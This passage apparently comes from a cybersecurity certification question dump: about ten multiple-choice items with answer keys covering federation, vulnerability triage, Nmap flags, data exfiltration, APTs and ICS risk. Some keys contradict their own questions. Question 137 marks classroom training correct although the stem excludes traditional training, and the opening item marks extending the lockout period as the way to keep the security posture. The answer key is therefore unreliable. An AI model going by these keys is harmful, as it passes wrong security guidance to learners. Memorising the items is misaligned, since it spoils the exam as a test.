A company decides to move three of its business applications to different outsourced cloud providers. After moving the applications, the users report the applications time out too quickly and too much time is spent logging back into the different web-based applications throughout the day. Which of the following should a security architect recommend to improve the end-user experience without lowering the security posture?

A. Configure directory services with a federation provider to manage accounts.
B. Create a group policy to extend the default system lockout period.
C. Configure a web browser to cache the user credentials.
D. Configure user accounts for self-service account management.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 131
A list of vulnerabilities has been reported in a company's most recent scan of a server. The security analyst must review the vulnerabilities and decide which ones should be remediated in the next change window and which ones can wait or may not need patching. Pending further investigation. Which of the following vulnerabilities should the analyst remediate FIRST?

A. The analyst should remediate `https (443/tcp)` first. This web server is susceptible to banner grabbing and was fingerprinted as Apache/1.3.27-9 on Linux w/ mod_fastcgi.
B. The analyst should remediate `dns (53/tcp)` first. The remote BIND 9 DNS server is susceptible to a buffer overflow, which may allow an attacker to gain a shell on this host or disable this server.
C. The analyst should remediate `imaps (993/tcp)` first. The SSLv2 suite offers five strong ciphers and two weak "export class" ciphers.
D. The analyst should remediate `ftp (21/tcp)` first. An outdated version of FTP is running on this port. If it is not in use, it should be disabled.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 132

A cybersecurity analyst wants to use `ICMP ECHO_REQUEST` on a machine while using Nmap. Which of the following is the correct command to accomplish this?

A. `$ nmap -PE 192.168.1.7`
B. `$ ping --PE 192.168.1.7`
C. `$ nmap --traceroute 192.168.1.7`
D. `$ nmap -PO 192.168.1.7`

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 133

In reviewing firewall logs, a security analyst has discovered the following IP address, which several employees are using frequently:

`152.100.57.18`

The organization's servers use IP addresses in the 192.168.0.1/24 CIDR. Additionally, the analyst has noticed that corporate data is being stored at this new location. A few of these employees are on the management and executive management teams. The analyst has also discovered that there is no record of this IP address or service in reviewing the known locations of managing system assets. Which of the following is occurring in this scenario?

A. Malicious process
B. Unauthorized change
C. Data exfiltration
D. Unauthorized access

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 134

A vulnerability scan returned the following results for a web server that hosts multiple wiki sites:

`Apache-HTTPD-cve-2014-023: Apache HTTPD: mod_cgid denial of service CVE-2014-0231`

Due to a flaw found in mog_cgid, a server using mod_cgid to host CGI scripts could be vulnerable to a DoS attack caused by a remote attacker who is exploiting a weakness in non-standard input, causing processes to hang indefinitely.

192.68.7.35:80	Running HTTP service product HTTPD exists: Apache HTTPD 2.2.22 VulnerableversionofproductHTTPDfound: ApacheHTTPD2.2.22
192.68.7.35:443	Running HTTPS service product HTTPD exists: Apache HTTPD 2.2.22 Vulnerable version of product HTTPD found: Apache HTTPD 2.2.22

The security analyst has confirmed the server hosts standard CGI scripts for the wiki sites, does not have mod_cgid installed, is running Apache 2.2.22, and is not behind a WAF. The server is located in the DMZ, and the purpose of the server is to allow customers to add entries into a publicly accessible database.

Which of the following would be the MOST efficient way to address this finding?

A. Place the server behind a WAF to prevent DoS attacks from occurring.
B. Document the finding as a false positive.
C. Upgrade to the newest version of Apache.
D. Disable the HTTP service and use only HTTPS to access the server.

Correct Answer: B
Section: (none)
Explanation
Explanation/Reference:

QUESTION 135
A security analyst's company uses RADIUS to support a remote sales staff of more than 700 people. The Chief Information Security Officer (CISO) asked to have IPSec using ESP and 3DES enabled to ensure the confidentiality of the communication as per RFC 3162. After the implementation was complete, many sales users reported latency issues and other performance issues when attempting to connect remotely. Which of the following is occurring?

A. The device running RADIUS lacks sufficient RAM and processing power to handle ESP implementation.
B. RFC 3162 is known to cause significant performance problems.
C. The IPSec implementation has significantly increased the amount of bandwidth needed.
D. The implementation should have used AES instead of 3DES.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 136
A security administrator has uncovered a covert channel used to exfiltrate confidential data from an internal database server through a compromised corporate web server. Ongoing exfiltration is accomplished by embedding a small amount of data extracted from the database into the metadata of images served by the web server. File timestamps suggest that the server was initially compromised six months ago using a common server misconfiguration. Which of the following BEST describes the type of threat being used?

A. APT
B. Zero-day attack
C. Man-in-the-middle attack
D. XSS

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 137
After reading about data breaches at a competing company, senior leaders in an organization have grown increasingly concerned about social engineering attacks. They want to increase awareness among staff regarding this threat, but do not want to use traditional training methods because they regard these methods as ineffective. Which of the following approaches would BEST meet the requirements?

A. Classroom training on the dangers of social media followed by a test and gift certificates for any employee getting a perfect score.
B. Simulated phishing emails asking employees to reply to the email with their updated phone number and office location
C. A poster contest to raise awareness of PII and asking employees to provide examples of data breaches and consequences
D. USB drives randomly placed inside and outside the organization that contain a pop-up warning to any users who plug the drive into their computer

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 138
Which of the following is a technology used to provide Internet access to internal associates without exposing the Internet directly to the associates?

A. Fuzzer
B. Vulnerability scanner
C. Web proxy
D. Intrusion prevention system

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 139
A threat intelligence analyst who works for an oil and gas company has received the following email from a superior:

"We will be connecting our IT network with our ICS. Our IT security has historically been top of the line, and this convergence will make the ICS easier to manage and troubleshoot. Can you please perform a risk/vulnerability assessment on this decision?" Which of the following is MOST accurate regarding ICS in this scenario?

A. Convergence decreases attack vectors
B. Integrating increases the attack surface
C. IT networks cannot be connected to ICS infrastructure
D. Combined networks decrease efficiency

Correct Answer: B
Section: (none)

Explanation

Explanation/Reference: